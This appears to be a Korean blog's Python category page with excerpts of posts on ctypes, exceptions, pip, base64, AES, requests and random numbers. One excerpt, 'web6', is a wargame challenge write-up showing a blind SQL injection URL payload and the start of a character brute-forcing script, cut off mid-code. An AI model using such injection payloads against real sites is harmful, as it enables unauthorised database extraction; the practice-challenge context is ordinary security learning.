Python 썸네일형 리스트형 C in Python C 라이브러리 파일 Window - msvcrt.dll Linux - libc.so.6Mac - /usr/lib/libc.dylib # cdll.msvcrt / CDLL("libc.so.6") / CDLL('/usr/lib/libc.dylib') from ctypes import *libc = CDLL("libc.so.6") # linuxlibc.printf("THIS IS PRINTF") ctypes typeC typePython typec_bool_Boolbool (1)c_charchar1-character stringc_wcharwchar_t1-character unicode stringc_bytecharint/longc_ubyteunsigned charint/longc_shortshortint/l.. 더보기 python except 에러표시 except exceptions.TypeError: print "Unexpected error:", sys.exc_info()[0] 더보기 web6 http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,1,15)like(0x5f5f5f5f5f5f5f5f5f5f5f),3,0) import requests f=open("ID_result","wb")key=""site="http://webhacking.kr/challenge/web/web-09/index.php"header={'Cookie':'PHPSESSID='}for j in range(1,15):for i in range(30,126):if chr(i)=='%' or chr(i)=='_' : continuesite="http://webhacking.kr/challenge/web/web-09/index.php"site+="?no=if.. 더보기 Pip 설치 https://pypi.python.org/pypi/setuptools/1.0#windows다운 python easy_install.py buildpython easy_install.py installPATH 적용, setxC:\pythonxx\Scripts easy_install pippip install xxxpip help 더보기 Python ksg_code.py # -*- coding: cp949 -*-import md5import os,sys,timeimport requestsimport urllibimport hashlibfrom base64 import b64encode, b64decode def kbase64(code): print("- - - - - - - - - Plain & Reverse Code - - - - - - - - -") print("CODE is : "+code) print("Encode base64 : "+b64encode(code)) try: print("Decode base64 : "+b64decode(code)) except: print("!....... Base64 Decode Error") def kUTF8(code): pri.. 더보기 Python AES key는 16바이트 단위로 해야하며,평문도 16바이트 크기로 '{'로 패딩된다. from Crypto.Cipher import AESkey="a"*16#key = b'\xbf\xc0\x85)\x10nc\x94\x02)j\xdf\xcb\xc4\x94\x9d(\x9e[EX\xc8\xd5\xbfI{\xa2$\x05(\xd5\x32'message="keyiskey"*3print (len(key))#key = b'\xbf\xc0\x85)\x10nc\x94\x02)j\xdf\xcb\xc4\x94\x9d(\x9e[EX\xc8\xd5\xbfI{\xa2$\x05(\xd5\x18'#message = "this is my super secret message"cipher =AES.new(key)def pad(s): retu.. 더보기 Python get, post 값 전달하기 도입 검색 유입이 이렇게 될지 모르고 너무 안일하게 작성하여 다시 작성합니다.. requests 모듈이 사용하기 편합니다.https도 지원하고 왠만한 웹 파싱 작업에 문제 없습니다. 웹 크롤링을 전문적으로 할 생각이면 Scrapy를 추천합니다. 요약 설치 : pip install requests 사용 =># importimport requests# urlurl = "http://hacksg.tistory.com"# getr = requests.get(url, params={'id': 'ksg', 'pw': 'password!@#'})print r.statusprint r.text# postr = requests.post(url, data={'id': 'ksg', 'pw': 'password!@#'})pr.. 더보기 Python 할 일 추천기 2차원 배열은 [ []*5 for x in range(0,5) ] 이런식으로 만들어 주면된다. ( [5][5] ) 크기를 동적으로 잡는 방법은 아직 모르겠다.random 함수는 random 모듈을 import 하고 num=random.randrange(0,5) 이런식으로 해주게 되면 0에서 5-1까지에 랜덤한 숫자가 나온다.for i in range(10):print (random.randrange(0,10000))89855741849881785375188494926597995460 import osimport randomdownclear = lambda: [ print("\n") for x in range(100)]upclear = lambda: [ print("\n") for x in range(10.. 더보기 이전 1 다음